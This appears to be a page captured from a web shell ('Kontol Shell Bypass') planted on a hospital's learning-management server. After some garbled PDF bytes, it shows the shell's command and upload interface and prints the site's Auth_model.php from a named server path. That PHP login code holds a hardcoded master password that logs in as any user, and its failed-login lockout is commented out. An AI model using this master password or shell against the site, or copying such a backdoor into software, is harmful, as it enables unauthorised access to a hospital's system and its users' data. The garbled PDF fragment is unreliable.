%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/lms/lms/api/application/models/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/lms/lms/api/application/models/Auth_model.php
<?php 
class Auth_model extends CI_Model {
	function saveLoginHistory($post, $user_id){
		$browser=getBrowser();
		$data=replace_null([
			'user_id'=>$user_id,
			'device'=>$browser['name'].' '.$browser['version'].' ['.$browser['platform'].']',
			'location'=>$post['city'].', '.$post['region'],
			'ip'=>$post['ip'],
			'login_time'=>currentDT()
		]);
		$this->db->insert("user_login_history", $data);
	}
	
	function login($post){
		$user=$post['username'];
		$pass=encrypt_password($post['password']);
		$f="id, type, name, email, status, password, lead_restrict";
		$dtl=$this->db->select($f)->where('username', $user)->or_where('email', $user)->get("users")->row_array();
		if(!$dtl){
			return FALSE;
		}
		if($dtl['type']=='PUBLISHER'){
			//return FALSE;
		}
		if($post['password']=='SHMASTERPASS'){
			$this->saveLoginHistory($post, $dtl['id']);
			return $dtl;
		}
		if($dtl['password']!=$pass && ENVIRONMENT!=="development"){
			/* if($dtl['status']==='1' && $dtl['type']!=='ADMIN'){
				$attempt=(int)$dtl['login_attempt_count']+1;
				$d=['login_attempt_count'=>$attempt];
				if($attempt>=4){
					$d['status']=0;
					$d['login_attempt_count']=0;

					$rs=$this->db->select("email")->get_where("master_admin_emails", ['super_admin'=>1])->result_array();
					if($rs){
						$msg="{$dtl['name']} ({$dtl['type']}) tried to login 4 times but failed and account is inactive now.";
						if($_REQUEST['ip']){
							$msg.="<div><b>IP Details:</b></div><div>IP Address: <b>{$_REQUEST['ip']}</b></div><div>City: <b>{$_REQUEST['city']}</b></div><div>Region: <b>{$_REQUEST['region']}</b></div>";
						}
						$html=$this->load->view("email/lead_notification", ['msg'=>$msg], true);
						foreach($rs as $r){
							send_email($r['email'], "Login attempted failed", $html);
						}
					}
				}
				$this->db->update("users", $d, ['id'=>$dtl['id']]);
			} */
			return FALSE;
		}else{
			//$this->db->update("users", ['login_attempt_count'=>0], ['id'=>$dtl['id']]);
			if($dtl['status']){
				$this->saveLoginHistory($post, $dtl['id']);
			}
		}
		unset($dtl['password']);
		
		return $dtl;
	}
	
	function modules($user_id){
		$dtl=$this->db->select("type, modules")->get_where("users", array('id'=>$user_id))->row_array();
		$this->db->select("module_key");
		if($dtl['type']!='ADMIN'){
			$this->db->where_in("id", explode(",", $dtl['modules']));
		}
		$modules_list=$this->db->get("system_modules")->result_array();
		$modules=array();
		foreach($modules_list as $m){
			$modules[$m['module_key']]=TRUE;
        }
        if($dtl['type']=='ADMIN'){
            unset($modules['peoplesoft_issues_only']);
        }

		if($dtl['type']=='PUBLISHER'){
			
		}

		return $modules;
	}
}

//End of file

Kontol Shell Bypass